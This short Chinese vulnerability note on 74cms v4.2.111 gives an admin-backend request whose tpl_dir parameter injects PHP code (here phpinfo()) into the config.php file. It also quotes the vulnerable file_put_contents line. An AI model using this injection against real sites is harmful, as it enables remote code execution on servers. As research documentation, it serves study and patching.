参考:https://xz.aliyun.com/t/3736
后台登录状态下,访问:
/74cms_v4.2.111/index.php?m=admin&c=tpl&a=set&tpl_dir=',phpinfo(),'
即可将payload写入Application/Home/Conf/config.php
.
Application/Common/Controller/BackendController.class.php
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
又是一个由于文件写入导致的代码执行。